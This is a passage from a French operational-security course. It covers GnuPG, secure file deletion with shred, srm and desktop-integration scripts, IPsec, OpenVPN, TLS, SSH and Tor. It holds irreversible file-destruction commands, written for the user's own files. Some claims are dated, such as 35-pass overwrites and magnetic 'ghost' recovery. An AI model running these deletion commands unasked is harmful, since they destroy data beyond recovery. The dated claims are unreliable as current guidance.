clé. On parlera en revanche de décryptage quand une personne tente de décoder
une information chiffrée sans la clé associée, et de déchiffrage quand elle réalise
49 - https://fr.wikipedia.org/wiki/Cryptographie

Noël Macé (noelmace.com)


59
Sécurité opérationnelle

cette opération avec la clé.

Algorithme de cryptographie
Un algorithme de cryptographie définie comme l'opération de chiffrement va être
réalisée. Le choix de cet algorithme détermine donc la fiabilité de votre solution de
cryptographie. Par exemple, le chiffrement par clé symétrique pourra être réalisé
par AES, alors que le chiffrement par clé asymétrique le sera par RSA, et qu'un
chiffrement n'offrant aujourd'hui quasi aucune sécurité et donc totalement obsolète
pourra être fait par ROT-13 (rotation de 13 caractères, sans clé).

b) Techniques de chiffrement
Chiffrement par clé symétrique

Chiffrement par clé symétrique

Chiffrement par clé asymétrique

Chiffrement par clé asymétrique

c) GnuPG
Standard OpenPGP
OpenPGP est un standard, établi par l'Internet Engineering Task Force (IETF).

Noël Macé (noelmace.com)


60
Sécurité opérationnelle

Normalisé dans la RFC 488050 en Novembre 2007, la version actuelle de ce standard


est une amélioration de la RFC 244051 (Nov 1998), elle même issue de la RFC
199152 (Aout 1996) normalisant le format PGP introduit par le logiciel éponyme créé
par Phil Zimmermann en 1991. Ce standard défini un format de messages,
signatures et certificats pour l'échange sécurisé de données.

GnuPG
GnuPG est l'implémentation (libre et gratuite) réalisée par le projet GNU
(notamment à l'origine de GNU/Linux) du format OpenPGP. Il s'agit d'un des
logiciels de cryptographie les plus connus et utilisé, qui va donc vous permettre de
créer des clés symétriques ou asymétriques, et de chiffrer et déchiffrer vos
message, mais également la gestion de signatures et certificats. Il est disponible53
par défaut sur la plupart des systèmes libres (GNU/Linux, BSD, Solaris ...), mais
également pour Windows (Gpg4win54) et Mac OS X (Mac GPG55).

Remarque
Les exemples suivant sont donnés pour les systèmes Unix.

i Clés symétriques
chiffrer

1 $ gpg -c fichier

déchiffrer

1 $ gpg -o fichier -d fichier.gpg

ii Clés asymétriques
Génération de clés asymétriques

1 $ gpg --gen-key

interactif
 chiffrement
 longueur
 temps
 identité
 passphrase
stockées dans ~/.gnupg/

Complément : Quel algorithme et taille de clé choisir ?


Aujourd'hui, les algorithmes RSA et DSA se valent en terme de sécurité, du
moment qu'une taille minimum est respectée. Pour les RSA, cette taille minimum
sera de 4k. Cette taille minimum n'est en revanche que de 2k pour le DSA2 (sans
quoi le DSA1 sera utilisé), ce qui lui confère un très léger avantage dans certains

50 - http://tools.ietf.org/html/rfc4880
51 - http://tools.ietf.org/html/rfc2440
52 - http://tools.ietf.org/html/rfc1991
53 - http://www.gnupg.org/download/index.html
54 - http://gpg4win.org/
55 - http://gpgtools.org/

Noël Macé (noelmace.com)


61
Sécurité opérationnelle

cas. RSA a cependant l'avantage d'être très largement utilisé et compatible, ce qui
permet de garantir que votre clé pour même être exploité hors standard OpenPGP.
DSA a en revanche l'avantage d'une (légèrement) meilleure rapidité de création de
clé et de signature, tandis que RSA sera bien plus rapide pour la vérification des
signatures.
Pour plus d'informations, ce référer à la NIST recommandation for key
management - part 156

Chiffrement

1 $ gpg --encrypt destinataire

« destinataire représente ici toute information permettant de distinguer sans


ambiguïté une clef publique parmi toutes les clefs publiques de votre trousseau.
Cette information peut-être, par exemple, le nom ou l'adresse email associé à la
clef publique que vous voulez utiliser. Vous pouvez même ne fournir qu'une partie
du nom ou de l'adresse email si cette partie suffit à distinguer une clef publique
sans ambiguïté. » - GnuPG Mini Howto57

Attention : Recommandation
Il est recommandé de signer tout message que vous aurez chiffré afin d'éviter toute
usurpation d'identité.

Déchiffrement
Il n'est généralement pas besoin de préciser ici la clé utilisée, étant donné que vous
n'avez en général qu'une clé privée par utilisateur.

1 gpg [--decrypt | -d ] [message]

Certificat de révocation
permet de remplacer une clé publique ne devant plus être utilisée :
 vérification des signatures
 mais pas de chiffrement

1 $ gpg --output revoke.asc --gen-revoke name

Fingerprint
"empreinte digitale"
permet de rapidement vérifier qu'une clé proviens bien de la personne à qui on
pense qu'elle appartient

1 $ gpg --fingerprint name

iii Gestion des clés


Export

1 $ gpg --export [--armor] name > gpg.pub

--armor : permet de produire la clé en ASCII


name : un bout de l'uid (prénom, nom, mail, etc ...)

56 - http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_part1_rev3_general.pdf
57 - http://www.gnupg.org/howtos/fr/GPGMiniHowto-4.html

Noël Macé (noelmace.com)


62
Sécurité opérationnelle

Import

1 $ gpg --import filename

Lister

1 $ gpg --list-keys

Supprimer
$ gpg --delete-key name

2. Persistance des données après suppression

Supprimer ?
Contrairement à une idée très rependue, "supprimer" une donnée sur un système
ne garanti en rien sa suppression. Lorsque, avant de revendre ou jeter, par
exemple, votre ordinateur portable, vous effectuer un formatage du disque dur, il
reste possible pour l'a personne ayant ensuite en sa possession ce même disque
dur d'y récupérer toutes vos données, que vous croyiez pourtant avoir supprimées.
Il en va de même pour quand vous "videz la corbeille", ou faites un simple rm sur
votre système Unix. Nous allons donc voir ici pourquoi cela est ainsi mais surtout,
comme vraiment supprimer nos données.

a) Pourquoi ?
Stockage
Quelque soit le périphérique sur lequel vos données sont stockées, celles-ci sont
représentées sous formes de bits (suites de 0 et de 1). Cette information
représente, pour un fichier, un certain espace sur votre périphérique de stockage,
que l'on compte en octet (1 octet représentant 8 bits). Sur un disque dur (une clé
usb, etc ...), l'espace de stockage disponible pour écrire ces données est divisé en
blocs (ou secteurs). Par exemple, un disque dur de 1To formaté en NTFS est divisé
en blocs de 4Ko. Quand vous créez un fichier, le système d'exploitation va écrire ses
données sur le périphérique de stockage. Mais, pour pouvoir ensuite y accéder
rapidement, il va également le référencer dans un index, grâce à un identifiant
unique appelé inode (ou noeud d'index), qui définit où est stocké le fichier en
question.

Suppression d'un fichier


Or, quand vous supprimer un fichier, le système d'exploitation ne va absolument
pas supprimer ses données (dans les blocs), mais va tout simplement supprimer
son inode, pour indiquer ensuite que le système pourra utiliser ces blocs pour une
écriture futur. Tant qu'aucune autre donnée n'a donc été écrite par dessus les
données du fichier "supprimer", il reste tout à fait possible de récupérer les données
du fichier.

Formatage d'un disque


Un formatage de haut niveau va effectuer exactement la même opération, mais
cette fois pour tout les fichiers sur le disque, en détruisant la totalité de l'index.
Encore une fois, toutes vos données sont encore présentes sur le disque. Mais
même un formatage de bas niveau, qui est censé supprimé la totalité des données
sur le disque, ne garantie pas qu'on ne puisse par la suite récupérer ces données.

Noël Macé (noelmace.com)


63
Sécurité opérationnelle

En effet, sur un disque dur, les données, comme je vous le disais plus haut, sont
stockées sous forme binaire : des 0 et des 1. Sur le disque dur lui même, les 0 se
traduisent par une absence de magnétisation sur le bit, et les 1 par une
magnétisation au delà d'un certain seuil (le seuil de détection de la tête de lecture).
Hors, quand vous supprimez vos données, une "image fantome" subsiste de celles-
ci : les 0 demeurent des bits démagnétisés, mais les 1 restent très légèrement
magnétisés, en dessous du seuil de détection de la tête de lecture. Il est donc
possible, par analyse de ces seuils, de reconstituer un disque ayant subis un
formatage de bas niveau.

b) Solutions
Principe
Une solution pour véritablement effacer vos fichiers : écrire à plusieurs reprises
(35fois ou un peu moins) des données par dessus celles de cet ancien fichier, après
sa suppression. Généralement, nous écrirons des données aléatoires.

Exemple : Pour Windows : Eraser


Vous pouvez télécharger Eraser sur le site officiel58. Il s'agit d'un simple logiciel libre
et gratuit pour windows qui vous permettra de supprimer un fichier ou un dossier
de manière sécurisé, en écrivant donc des données aléatoires par dessus les
anciennes données.

Exemple : Pour Linux : shred et secure-delete


Pour supprimer définitivement les données d'un fichier, vous pouvez utiliser la
commande shred de GNU/Linux.

1 $ shred -u -z -n 26 monfichierasupprimer

-u : supprime le fichier après carbonisation


-z : finaliser la carbonisation par une courte série de 0 (permet masquer la
destruction du fichier)
-n : préciser le nombre de réécritures (20 est déjà suffisant).
Pour plus de confort, vous pouvez installer secure-delete sous Debian et dérivés :

1 # apt-get install secure-delete

Ce paquet vous offrira tout un ensemble de commande pour la suppression de vos


informations :
 Secure remove (srm) : supprime de manière sécurisée des fichiers ou des
répertoires de votre disque dur
 Secure Memory Wiper (smem) : efface les données et autres traces
contenues dans votre mémoire RAM
 Secure Free Space Wiper (sfill ) : efface toutes les traces conservées dans
l'espace libre de vos disques durs (indiqué par le point de montage)
 Secure Free Space Wiper (sswap) : efface vos traces dans la swap
Tout d'abord, voyons comment mettre en place un script personnalisé pour Ubuntu.
Installez le paquet nautilus-script-manager, puis copiez l'un de ces fichier soit
 pour gnome 3 (Ubuntu 13.04 et supérieur) :
- dans le dossier /usr/share/nautilus-script si le script doit être disponible
pour tout les utilisateurs

58 - http://eraser.heidi.ie/

Noël Macé (noelmace.com)


64
Sécurité opérationnelle

- ou dans ~/.local/share/nautilus/scripts
 pour les versions antérieurs : ~/.gnome2/nautilus-scripts/
Enfin, rendez ce fichier exécutable. Vous verrez alors dans nautilus un menu scripts
disponible via un clic doit ou via le menu Fichier.

Complément
Vous pouvez également intégrer ces outils dans votre navigateur de fichiers pour un
usage au quotidien. Voici quelques exemples de configurations pour cela.

1 #!/bin/bash
2 # Intégration de secure-delete dans nautilus
3 # ce script doit être executable dans ~/.gnome2/nautilus-scripts/
4 if zenity --question \
5 --text "Voulez-vous vraiment supprimer ${*} en écrasant son contenu
?" \
6 --title "Supprimer en écrasant les données"; then
7 srm -r -l "$@" && \
8 zenity --info --text "${*} a bien été supprimé." \
9 --title "Supprimer en écrasant les données" ||
10 zenity --error \
11 --text "Une erreur est survenue durant l'effacement de ${*}." \
12 --title "Supprimer en écrasant les données"
13 fi

1 #!/bin/bash
2 # Intégration de shred dans nautilus
3 if [[ -a /dev/urandom ]]; then
4 randomizer=/dev/urandom;
5 fi
6 echo $NAUTILUS_SCRIPT_SELECTED_URIS > ~/.gnome2/temp_shred_list
7 zenity --question --title "Destruction de fichier" --text "Voulez-
vous vraiment supprimer ce fichier?"
8 if (( $? == 0 )); then
9 for file in $(cat ~/.gnome2/temp_shred_list); do
10 shortfile=$(echo $file | sed -e 's/\%20/\ /g' -e 's/.*\///g')
11 file_name=$(echo $file | sed -e 's/file:\/\///g' -e 's/\%20/\
/g')
12 if [[ $randomizer == "" ]]; then
13 shred -u -z -n 99 "$file_name"
14 if (( $? == 0 )); then
15 zenity --info --text="$shortfile Suppression définitive
ternimée" --title "Opération réussite"
16 else zenity --info --text="$shortfile Suppression impossible"
--title "Opération annulée"
17 fi
18 else shred -u -z -n 99 --random-source=$randomizer "$file_name"
19 if (( $? == 0 )); then
20 zenity --info --text="$shortfile Suppression définitive
terminée" --title "Opération réussite"
21 else zenity --info --text="$shortfile Suppression impossible"
--title "Opération annulée"
22 fi
23 fi
24 done
25 fi
26 rm -f ~/.gnome2/temp_shred_list

Enfin, pour intégrer shred dans KDE :

1 # /usr/share/kde4/services/ServiceMenus/shred.desktop
2 [Desktop Entry]
3 Type=Service
4 ServiceTypes=KonqPopupMenu/Plugin,all/allfiles
5 Actions=shred

Noël Macé (noelmace.com)


65
Sécurité opérationnelle

6 [Desktop Action shred]


7 Name=Suppr with shred
8 Name[fr]=Suppression sécurisée
9 Icon=draw-eraser
10 Exec=shred -n 35 -z -u %U

Exemple : Pour Mac OS X


Cette fonction est directement intégrée à Mac OS X. Appuyer simplement sur la
touche commande en faisant un clid droit sur votre corbeille, et une option vous
sera donnée pour vider la corbeille de manière sécurisée.

C. Sécurisation des échanges

1. IPsec

Présentation
IPsec est un protocole réseau (couche 3 du modèle OSI) destiné à garantir la
confidentialité et l'intégrité des communications. Définie par l'IETF via un grand
nombre de RFC59, son principal avantage face aux solutions "concurrentes" tel que
le SSH est son caractère standard. En effet, IPsec est conçu avec et pour IPv6, et a
ensuite, du fait de la lenteur de la migration vers cette nouvelle version, été adapté
à l'IPv4. Cela en fait donc un protocole très utilisé de nos jours, particulièrement en
tant que composant des VPN.

a) Fonctionnement
Principe
Pour assurer le fonctionnement d'IPsec, plusieurs protocoles standards sont
employés :
 AH (authentication header) : pour garantir l'authentification, l'intégrité et
l'unicité des paquets
 ESP (encapsulating security payload) : pour garantir la confidentialité (et
donc l'authentification), l'unicité et l'intégrité des données
 un Security Association (SA), produisant les algorithmes et données
nécessaires à l'AH et l'ESP
IPsec peu par ailleurs fonctionner selon 2 modes :
 transport
 tunnel

Mode transport
En mode transport, seules les données transférées sont chiffrées et/ou
authentifiées, le reste du paquet restant non-modifié. De ce fait, l'IPsec en mode
transport ne modifiera pas le routage de ces paquets.

59 - https://fr.wikipedia.org/wiki/Internet_Protocol_Security#Liste_des_RFC_relatives_.C3.A0_IPsec

Noël Macé (noelmace.com)


66
Sécurité opérationnelle

Paquet IPSec AH en mode transport

Paquet IPsec ESP en mode transport

Mode tunnel
En mode tunnel en revanche, la totalité du paquet est chiffrée et/ou authentifiée.
Afin de permettre le routage de ce paquet, celui-ci est alors réencapsulé dans un
nouveau paquet ip, ce qui permet donc la traversée de NAT.

Paquet IPsec AH en mode tunnel

Noël Macé (noelmace.com)


67
Sécurité opérationnelle

Paquet IPsec ESP en mode tunnel

AH (authentication header)
AH opère directement au dessus du protocole IP, en utilisant le numéro de protocol
IP 51. Il a pour vocation de garantir la sécurité de paquet lui même, mais pas de
ses données, car ne chiffre pas ces dernières.

Paquet AH
 Next Header (8 bits) : indique le protocole de niveau supérieur étant
protégé. Cette valeur est établie relativement à la liste des numéros de
protocoles IP60.
 Payload Len (8 bits) : taille de l'AH
 Reserved (16 bits) : réservé pour un usage futur
 Security Parameters Index (32 bits) : valeur arbitraire identifiant le SA du
destinataire
 Sequence Number (32 bits) : numéro de séquence incrémenté à chaque
paquet envoyé afin de prévenir toute replay attack (répétition ou
suppression d'un paquet)
 Integrity Check Value (multiple of 32 bits) :

ESP (encapsulating security payload)


ESP opère directement au dessus du protocole IP, en utilisant le numéro de protocol
IP 50. Il a pour vocation non seulement de garantir la sécurité du paquet lui même,
comme AH, mais également de ses données.

60 - https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers

Noël Macé (noelmace.com)


68
Sécurité opérationnelle

Paquet ESP
 Security Parameters Index (32 bits) : valeur arbitraire identifiant le
destinataire
 Sequence Number (32 bits) : numéro de séquence incrémenté à chaque
paquet envoyé afin de prévenir toute replay attack (répétition ou
suppression d'un paquet). Chaque association de sécurité dispose de son
propre numéro de séquence.
 Payload data (variable) : données du paquet IP d'origine protégées
 Padding (0-255 octets) : remplissage pour le chiffrement.
 Pad Length (8 bits) : taille du remplissage
 Next Header (8 bits) : indique le protocole de niveau supérieur étant
protégé. Cette valeur est établie relativement à la liste des numéros de
protocoles IP61.
 Integrity Check Value (multiple of 32 bits) : signature du paquet, permettant
de vérifier son intégrité

b) Mise en pratique
Racoon
Racoon, un serveur VPN simple à mettre en oeuvre, est un excellent exemple
simple pour débutant de la mise en œuvre d'IPsec en mode tunnel sur un système
GNU/Linux. Vous pouvez en retrouver un exemple de configuration détaillé, ainsi
que d'autres pistes de mise en œuvre, sur cette page62.

2. VPN

Principe
Virtual Private Network (réseau privé virtuel)
Connecter plusieurs réseaux distants de manière sécurisée (tunnel chiffré) via une
connexion non-sécurisée (ex : internet).

61 - https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers
62 - https://wiki.debian.org/IPsec

Noël Macé (noelmace.com)


69
Sécurité opérationnelle

VPN

a) Utiliser un service de VPN


A savoir
Il existe de très nombreux services de VPN directement utilisables sur Internet.
Attention cependant à deux points :
 anonymisation : le service doit vous garantir qu'aucun DPI ne sera effectué,
et qu'aucun log de votre activité ne sera conservé
 prix : méfiez vous toujours des service gratuit. Si vous ne payez pas un
produit, c'est que vous êtes le produit ! Un VPN gratuit sera donc fortement
succeptible de revendre vos informations personnelles pour se rémunérer.

Exemple : vpntunnel.se
vpntunnel.se est un service payant, mais peu cher, qui vous garanti une totale
anonymisation. Vous pouvez y souscrire et obtenir plus d'information sur son site
officiel63.

b) Mise en place de son propre serveur avec OpenVPN


Qu'est ce qu'OpenVPN ?
Un logiciel Libre (GNU GPL), disponible sur de nombreux OS (GNU/Linux, Windows,
BSD, Mac OS X, etc ...).
Créé en 2002 par James Yonan.
version actuelle : 2.3.2 (Juin 2013)
Authentification via la bibliothèque OpenSSL
Sécurisé via chiffrement SSL/TLS

Logo OpenVPN

Installation
 Debian :

1 # apt-get install openvpn

63 - https://www.vpntunnel.com/

Noël Macé (noelmace.com)


70
Sécurité opérationnelle

 CentOS :

1 $ wget http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-
8.noarch.rpm
2 # rpm -Uvh epel-release-6-8.noarch.rpm
3 # yum install openvpn

Exemple : Point à point


VPN point à point entre un serveur vpn.noelmace.com / 10.1.1.1 et un client
10.1.1.2. Le port par défaut est utilisé (1194).
Création de la clé statique :

1 $ openvpn --genkey --secret static.key

Puis copier cette clé sur le serveur et le client.


Configuration du serveur (fichier server.conf) :

1 # type d'interface
2 # tun/tap : interface de communication réseaux entre le kernel et les
programmes de l'espace utilisateur
3 dev tun
4 # adresse IP privée serveur / client
5 ifconfig 10.1.1.1 10.1.1.2
6 # test de connection toutes les 10 secondes, considéré comme
indisponible au bout de 60 secondes sans réponse
7 keepalive 10 60
8 # relancer la connection si elle semble coupée
9 ping-timer-rem
10 # empêcher OpenVPN de fermer et ré-ouvrir le tun/tap à la reception
d'un signal SUGSR1
11 persist-tun
12 # idem mais pour les fichiers clés
13 persist-key
14 # clé secrète partagée pour le chiffrement
15 secret static.key

Configuration client (fichier client.conf) :

1 # serveur distant
2 remote (adresse IP publique du serveur)
3 dev tun
4 # adresses IP privées du client et du serveur
5 ifconfig 10.1.1.2 10.1.1.1
6 keepalive 10 60
7 ping-timer-rem
8 persist-tun
9 persist-key
10 secret static.key

3. SSL/TLS

Présentation
Transport Layer Security (TLS), et son prédécesseur Secure Sockets Layer (SSL),
sont des protocoles de sécurisation des échanges sur Internet. A l'origine développé
par Netscape, SSL a été renommé en TLS suite au rachat du brevet de Netscape
par l'IETF en 2001, ce qui a par ailleurs permis la standardisation de ce protocol.
SSL/TLS garanti :
 l'authentification du serveur ;
 la confidentialité des données échangées (ou session chiffrée) ;

Noël Macé (noelmace.com)


71
Sécurité opérationnelle

 l'intégrité des données échangées ;


 de manière optionnelle, l'authentification ou l'authentification forte du client
avec l'utilisation d'un certificat numérique ;
 la spontanéité, c'est-à-dire qu'un client peut se connecter de façon
transparente à un serveur auquel il se connecte pour la première fois ;
 la transparence, qui a contribué certainement à sa popularité : les protocoles
de la couche d'application n'ont pas à être modifiés pour utiliser une
connexion sécurisée par TLS. Par exemple, le protocole HTTP est identique,
que l'on se connecte à un schème http ou https.

Fonctionnement
Dans le modèle OSI, SSL se situe au niveau de la couche session, ce qui entraine
plusieurs conséquences :
 pour toute application existante utilisant TCP, il peut exister une application
utilisant SSL. Par exemple, l'application HTTPS correspond à HTTP au-dessus
de SSL ;
 une application SSL se voit attribuer un nouveau numéro de port par l'IANA.
Par exemple HTTPS est associé au port 443.
 dans certains cas, le même port est utilisé avec et sans SSL. Dans ce cas, la
connexion est initiée en mode non chiffré. Le tunnel est ensuite mis en place
au moyen du mécanisme StartTLS. C'est le cas, par exemple des protocoles
de mails IMAP et SMTP ou LDAP

Remarque : HTTPS Everywhere


Pour faire en sorte de favoriser l'usage de l'HTTPS autant que possible, l'EFF
(Electronic Frontier Foundation), en partenariat avec Tor, distribue depuis un certain
temps une extension firefox, chrome et opera, permettant de résoudre certains
problèmes récurrants sur de nombreux sites : HTTP par défaut, redirections vers le
HTTP, etc ... alors que l'HTTPS est disponible. Pour l'installer, rendez vous sur
https://www.eff.org/https-everywhere64

4. SSH

a) Présentation
SSH (pour Secure Shell), est à la fois un programme client et un protocole de
session (couche 5 du modèle OSI), ayant pour but de garantir la confidentialité par
authentification et chiffrement des communications. Il offre par ailleurs,
contrairement au SSL, de nombreuses possibilités d'authentification : mot de passe,
clé, carte à puce, etc ...

Usages
SSH est conçu pour trois usages principaux :
 prise en main distante d'un serveur en ligne de commande (shell) (en
remplacement de telnet, rlogin et rsh)
 échange et manipulation distante de fichiers (en remplacement de ftp et rcp)
 port tunneling

64 - https://www.eff.org/https-everywhere

Noël Macé (noelmace.com)


72
Sécurité opérationnelle

Fonctionnement

Fonctionnement du protocole SSH

b) OpenSSH
Présentation
OpenSSH est le serveur SSH de référence, libre, gratuit, disponible sur tout les
systèmes Unix. Nous ne traiterons pas ici de la configuration complète de ce
logiciel, et laissons cela aux cours GNU/Linux. Cependant, pour une documentation
complète de son installation, vous pouvez consulter le site officiel en français65 ainsi
que cette page66. OpenSSH est également disponible sous Windows, en passant par
Cygwin, un logiciel permettant de mettre en place une compatibilité POSIX sous
Windows. Pour une présentation complète des opérations nécessaires, vous pouvez
consulter cet article de commentçamarche67.

c) Gestion de clés
Fichiers
/etc/ssh/ssh_host_rsa_key et /etc/ssh/ssh_host_dsa_key (avec extension .pub
pour les clés publiques)

Génération

1 # ssh-keygen -q -t rsa1 -f /etc/ssh/ssh_host_key -C ‘' -N ‘'


2 # ssh-keygen -q -t rsa -f /etc/ssh/ssh_host_rsa_key -C ‘' -N ‘'
3 # ssh-keygen -q -t dsa -f /etc/ssh/ssh_host_dsa_key -C ‘' -N ‘'

Clés d'hôtes
Les clés d'hôtes, permettant l'authentification des serveurs, sont automatiquement
enregistrées lors d'une première connexion, après validation par le client. Sous
GNU/Linux, celles-ci sont stockées dans ~/.ssh/known_hosts pour un utilisateur
spécifique, ou dans /etc/ssh_known_hosts ou /etc/ssh/ssh_known_host pour
l'ensemble des utilisateurs

Clés d'authentification du client


génération des clés

1 client$ ssh-keygen -t rsa -f ~/.ssh/id_rsa

transfert de la clé publique vers le serveur

65 - http://www.openssh.com/fr/
66 - http://virologie.free.fr/documents/openSSH/ssh_installation.html
67 - http://www.commentcamarche.net/faq/2132-reseaux-installation-d-un-serveur-ssh-sous-windows

Noël Macé (noelmace.com)


73
Sécurité opérationnelle

1 client$ scp id_rsa.pub compte@serveur:temp.rsa

accès au serveur (par mot de passe)

1 client$ ssh compte@serveur

ajout de la clé

1 serveur$ cat ~/temp.rsa >> ~/.ssh/authorized_keys

Mémorisation de passphrases
Le client SSH Unix est livré par défaut avec un utilitaire de mémorisation des
passphrases de clés, appelé ssh-agent. Pour le lancer, vous devez simplement
effectuer la commande suivante, et déclarer les variables d'environnement comme
présenté :

1 client$ ssh-agent

Une fois ceci fait, vous pouvez exporter une clé vers le cache de ssh-agent en
lançant la commande suivante :

1 client$ ssh-add [clé]

d) Shell distant
Présentation
Comme le nom du programme lui meme l'indique, SSH est avant tout fait et utilisé
pour la connexion à un shell distant. A l'origine, ce programme a avant tout été
créé pour les systèmes Unix, mais étant donné sa fiabilité, on le retrouve
aujourd'hui sur un grand nombre de systèmes non Unix, comme Windows ou Cisco
IOS.

Syntaxe de la commande SSH

1 $ ssh [options] [-F configfile] [-i identity_file] [-l login_name] [-


p port] [user@]hostname [command]

Exemple : Connexion simple

1 $ ssh admin1@linuxserver

Sous Windows
Pour utiliser un client SSH sous windows, vous pouvez télécharger et installer le
programme Putty, ou consulter une liste plus complète ici68.

68 - http://www.openssh.com/fr/windows.html

Noël Macé (noelmace.com)


74
Sécurité opérationnelle

e) Gestion de fichiers
SCP
SCP est une commande permettant de copier un seul et unique fichier entre deux
machine. Pour le lancer :

1 $ scp mylocalfile user@server:remotefile


2 OU
3 $ scp user@server:remotefile mylocalfile

SFTP
SFTP (pour SSH-FTP, à ne pas confondre avec FTP over SSL) est un usage du
protocole SSH permettant la gestion de fichiers grâce aux commandes FTP. Sa
syntaxe est similaire à ssh, et vous pouvez également utiliser des logiciels
graphiques, comme Filezilla.

SSHFS
SSHFS est une solution permettant, sur les systèmes Unix, de monter un système
de fichier distant accessible par SSH comme si il s'agissait d'un partage de fichier
type NFS ou SAMBA. Pour ce faire, SSHFS repose sur FUSE et SFTP.

f) Port tunneling
Principe

Port tunneling

Mise en oeuvre avec OpenSSH


Coté serveur, modifier la ligne suivant dans /etc/ssh/sshd_config :

1 AllowTcpForwarding yes

Noël Macé (noelmace.com)


75
Sécurité opérationnelle

Puis lancez simplement une commande similaire à celle-ci sur votre client :

1 # ssh -N -f -L 2000:destination:143 user@serveurssh.com

5. Mix Networking

a) Théorie
Principe
Un mix network est un réseau (le plus souvent un réseau overlay, c'est à dire
reposant lui même sur un autre réseau, comme Internet) reposant sur une famille
de protocoles de routages favorisant l'anonymisation.

Fonctionnement
Pour assurer une meilleure anonymisation, les protocoles de routage de mix
network fait transiter toute information par une série de (nombreux)
intermédiaires, chacun ne connaissant ni son origine, ni sa destination, rendant
ainsi plus complexe son traçage. Bien entendu, pour éviter par la même occasion
de compromettre la confidentialité des données transitant par des tiers, ceux-ci ne
peuvent non-plus y avoir accès.

Tor Onion Network

b) Introduction à Tor
Présentation
Tor (pour The Onion Network) est aujourd'hui la solution de mix networking la plus
utilisée. Réseau overlay (supperposé à Internet et donc mondial) totalement
décentralisé, Tor est une bonne solution pour améliorer votre anonymisation.

Attention : Anonymisation et confidentialité partielle


Gardez cependant bien à l'esprit que l'anonymisation offerte par Tor n'est que
partielle. En effet, Tor ne peut assurer la protection des datagrammes UDP. Une

Noël Macé (noelmace.com)


76
Sécurité opérationnelle

requête DNS par exemple, extrêmement de vos habitudes de navigations web, ne


peu donc être véritablement protégée par ce moyen, même en étant routé sur Tor
via torsocks. De même, certains scripts ayant pour but de détecter votre identité
(adresse IP, informations personnelles, adresse mail, etc ...) peuvent toujours être
exécutés, comme par exemple via JavaScript.
De même, Tor ne peu garantir la confidentialité des données échangéesL En effet,
comme nous pouvons le voir dans le schémas plus haut, seul les échanges entre le
client et les relais et ceux entre relais sont chiffrés. Etant donné que la
communication avec la machine distante n'est, elle, pas chiffrée en bout de ligne,
un adversaire peu parfaitement écouter cet échange si la connexion n'est pas elle
même protégée.
Ce sera donc en rien une solution adaptée pour une OPSEC dont l'adversaire serait
un gouvernement, ou quelque organisation ayant d'assez large moyen pour réaliser
ces opérations.

Complément : Attaque Time Pattern


Une attaque permettant de retracer un utilisateur du réseau Tor peu passer par
l'usage d'un Time Pattern, c'est à dire l'envoi de suites de paquets celon un "motif
temporel" précis. Par exemple, il est possible d'envoyer 4 paquets en salve, puis 2
secondes de pause, puis 1 paquet, puis 3 secondes de pause, et enfin 2 paquets.
Ainsi, même si le contenu des paquets, sa destination et son origine restent cachés
à chaque intermédiaire, ce "motif temporel" peu être tracé.

c) Mise en pratique
Navigation web
Pour utiliser Tor dans le cadre de votre navigation web, il est recommandé d'utiliser
Torbrowser69. Suite à la découverte d'une faille de sécurité70 dans Firefox, l'équipe
du Torproject déconseille en effet l'usage de Firefox et de ses extensions Tor, et
distribue directement une version modifiée par ses soins. Bien entendu, tout autre
navigateur est à proscrire totalement.

Système
Pour installer Tor sur votre système, et ainsi anonymiser au maximum vos
connexions (du moins, au maximum qu'il est possible avec Tor), vous pouvez
également installer un des bundles distribués par le Torproject, qui peu d'ailleurs
comprendre Torbrowser. Pour ce faire, rendez vous sur cette page71 pour
télécharger le bundle pour votre système. Pour une documentation complète, voir
pouvez voir celle écrite sur Torproject pour Windows72, GNU/Linux, BSD73, Mac OS
X74 et Android75.

Conseils à suivre
Voici quelques conseils délivrés par Torproject à respecter scrupuleusement :
1. Utilisez le Tor Browser
Tor ne peu protéger tout votre système ! En effet, pour pouvoir utiliser Tor,
une application a besoin d'être convenablement configurée pour celui-ci. De
69 - https://www.torproject.org/projects/torbrowser.html.en
70 - http://www.clubic.com/antivirus-securite-informatique/virus-hacker-piratage/reseau-tor-the-onion-
router/actualite-576992-espionnage-projet-tor-deconseille-utilisateurs-usage-windows.html
71 - https://www.torproject.org/download/download-easy.html.en
72 - https://www.torproject.org/docs/tor-doc-windows.html.en
73 - https://www.torproject.org/docs/tor-doc-unix.html.en
74 - https://www.torproject.org/docs/tor-doc-osx.html.en
75 - https://www.torproject.org/docs/android.html.en

Noël Macé (noelmace.com)


77
Sécurité opérationnelle

plus, en utilisant d'autres solutions, vous ne disposez d'aucune garantie


qu'une faille liée à l'application elle même ne puisse compromettre votre
identité, même si celle-ci est configurée pour Tor.
2. Ne pas faire de Torrent à travers Tor
Torrent étant elle même une application de P2P, ne peu passer toutes ses
informations par Tor. Même en utilisant ce dernier, Torrent continuera donc à
envoyer votre adresse IP à travers le réseau.
3. N'utiliser aucun plugin dans votre navigateur
Flash, Realplayer, Quicktime et autres pouvant être manipulés pour révéler
votre adresse IP, il est bien entendu exclu de les intégrer dans votre Tor
Borwser.
4. Toujours consulter les documents télécharger via Tor en mode déconnecté
Les documents téléchargés sur Internet (et tout particulièrement les
document .doc et pdf) peuvent contenir des ressources externes, qui seront
téléchargées hors Tor après ouverture. Pour ne pas compromettre votre
identité, il est donc recommandé de les consulter sur un ordinateur
déconnecté, dans une machine virtuelle en mode déconnecté, ou avec Tails.

Noël Macé (noelmace.com)


78
Sécurité
VI -

VI
défensive

Architectures et solutions pour la sécurité des réseaux 85


Supervision : anticiper, détecter et résoudre les incidents 93

A. Architectures et solutions pour la sécurité des


réseaux

1. Réseaux privés et translation d'adresses

a) RFC 1918
Présentation
Le RFC 1918, de février 1996, définie les plages d'adresse IP privées , par définition
non mondialement uniques, contrairement aux adresses IP publiques. C'est donc ce
standard que nous devons respecter pour l'établissement de l'adressage IP de nos
réseaux, à la fois afin de permettre de prolonger la durée de vie de l'IPv4, dont le
nombre d'adresses est limités, et pour garantir la sécurité de notre réseau privé, en
réalisant une translation d’adresse (que nous verrons ci-après).

Plages d'adresses

Plages adresses IP privées

b) Translation d'adresses
Introduction
Traduction d'adresse IP (Network Address Translation) afin de faire correspondre
une adresse publique unique pour un réseau privé, le nombre d'adresses publiques
étant limité (ex : démarche de demande de bloc d'IP au RIPE NCC via OVH), définie
par la RFC 1631 de Mai 1994.

Noël Macé (noelmace.com)


79
Sécurité défensive

